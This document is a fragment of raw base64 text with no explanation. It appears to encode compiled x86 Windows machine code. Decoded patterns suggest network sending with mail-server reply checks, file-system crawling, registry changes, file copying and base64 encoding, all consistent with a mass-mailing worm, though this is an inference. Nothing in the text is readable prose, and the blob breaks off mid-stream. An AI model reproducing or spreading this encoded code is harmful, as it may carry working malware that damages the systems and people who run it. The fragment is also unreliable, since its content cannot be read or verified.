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 AAAAVv8VeIAXNlb/FRCBFzZqAV9WagD/NbSsFzb/FXCsFzaLx19eXVvDVYvsgewABAAAVos1tKwX NldoICgAAGoAaJisFzboySoAAIPEDIk1tKwXNmoA/xXIgBc2o6ysFzbo0AAAAL4ABAAAv7iwFzZW V/8V+IAXNlfoIM///1m/uKwXNlZX/xUkgRc2V+gMz///Wb+4tBc2V1b/FRSBFzZX6PjO//9Z/xUg gRc2UGi4zBc26GIqAABZv7jQFzZZV1b/FRyBFzZX6NHO//9ZjYUA/P//VlBqAP8VGIEXNo2FAPz/ /1BouMAXNugrKgAAjYUA/P//alxQ/xVAgRc2i/BGVmi4uBc26A4qAACAJgCNhQD8//++uLwXNlBW 6PkpAABW6HfO//+DxCToOgAAAGoBWF9eycNVi+yB7JQAAACNhWz////HhWz///+UAAAAUP8VVIAX NjPAg718////Ag+UwKOwrBc2ycNWV4s9WIAXNmgIoRc2/9eFwKOYrBc2D4TiAAAAizVQgBc2aPyg FzZQ/9Zo8KAXNqN8rBc2/zWYrBc2/9Zo5KAXNqN4rBc2/zWYrBc2/9Zo2KAXNqN0rBc2/zWYrBc2 /9ZozKAXNqNwrBc2/zWYrBc2/9aDPbCsFzYAo2ysFzZ0XGi4oBc2/zWYrBc2/9ZopKAXNqPg1Rc2 /zWYrBc2/9ZolKAXNqPQ1Rc2/zWYrBc2/9ZohKAXNqPc1Rc2/zWYrBc2/9ZodKAXNqPU1Rc2/zWY rBc2/9aj2NUXNusSaFygFzb/NZisFzb/1qPM1Rc2aFCgFzb/14XAo5ysFzZ1BzPA6YcCAABoQKAX NlD/1mg4oBc2o5SsFzb/14XAo6CsFzZ0VWgooBc2UP/WaBSgFzajkKwXNv81oKwXNv/WaASgFzaj jKwXNv81oKwXNv/WaOyfFzajiKwXNv81oKwXNv/WaNifFzajhKwXNv81oKwXNv/Wo4CsFzZozJ8X Nv/XhcCjpKwXNnR5aMCfFzZQ/9ZosJ8XNqP81hc2/zWkrBc2/9ZooJ8XNqP41hc2/zWkrBc2/9Zo kJ8XNqP01hc2/zWkrBc2/9ZogJ8XNqPw1hc2/zWkrBc2/9ZocJ8XNqPs1hc2/zWkrBc2/9ZoZJ8X NqPo1hc2/zWkrBc2/9aj5NYXNmhYnxc2/9eFwKOorBc2D4R1AQAAaEyfFzZQ/9ZoQJ8XNqNorBc2 /zWorBc2/9ZoMJ8XNqNkrBc2/zWorBc2/9ZoKJ8XNqNgrBc2/zWorBc2/9ZoIJ8XNqNcrBc2/zWo rBc2/9ZoGJ8XNqNYrBc2/zWorBc2/9ZoEJ8XNqNUrBc2/zWorBc2/9ZoBJ8XNqNQrBc2/zWorBc2 /9Zo/J4XNqNMrBc2/zWorBc2/9Zo9J4XNqNIrBc2/zWorBc2/9Zo7J4XNqNErBc2/zWorBc2/9Zo 4J4XNqNArBc2/zWorBc2/9Zo2J4XNqM8rBc2/zWorBc2/9Zo0J4XNqM4rBc2/zWorBc2/9ZoyJ4X NqM0rBc2/zWorBc2/9ZowJ4XNqMsrBc2/zWorBc2/9ZotJ4XNqMwrBc2/zWorBc2/9ZoqJ4XNqMo rBc2/zWorBc2/9ZonJ4XNqMkrBc2/zWorBc2/9ZojJ4XNqMcrBc2/zWorBc2/9ajIKwXNmiAnhc2 /zWorBc2/9ajGKwXNmoBWF9ew6GYrBc2Vos12IAXNoXAdANQ/9ahnKwXNoXAdANQ/9ahoKwXNoXA dANQ/9ahpKwXNoXAdANQ/9ahqKwXNoXAdANQ/9ZqAVhew1WL7IHsFAYAAFOLHRyAFzaNRfRWUDP2 aD8ADwBWaFChFzZoAgAAgP/ThcAPhdkAAABXVlZWjUX4iz0YgBc2VlCNhez9///HRfj/AAAAUFb/ dfSJdfz/14XAD4WhAAAAjYXs/v//aBihFzZQ6GolAACNhez9//9QjYXs/v//UOhpJQAAg8QQjUXw UGg/AA8AjYXs/v//VlBoAgAAgP/ThcB1Oo1F7MdF7AAEAABQjYXs+f//UFb/dfD/FQSAFzY5NbCs FzZ0DY2F7Pn//1Dolun//1n/dfD/FRCAFzb/RfxWVlaNRfhWUI2F7P3//1DHRfj/AAAA/3X8/3X0 6VX/////dfT/FRCAFzZfXlvJw1WL7IHsXAcAAFNWM/ZXOTWwrBc2D4TtAAAAjUXwx0X0/wAAAFBo PwAPAFZodKIXNmgCAACAx0X8/gEAAP8VHIAXNoXAD4XpAgAAjUX8iz0MgBc2UI2FpPz//1BWjUX0 VlCNhaT+//9QVv918Il1+P/XhcAPhYYAAACAvaX+//8kdEmLRfwz2zPSjUj8O852O4C8FaT8//9Q jYQVpfz//3UagDhhdRWAeAF0dQ+AeAJodQmAeAM9dQONWARCO9Fy0DvedAdT6Oft//9ZjUX8/0X4 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 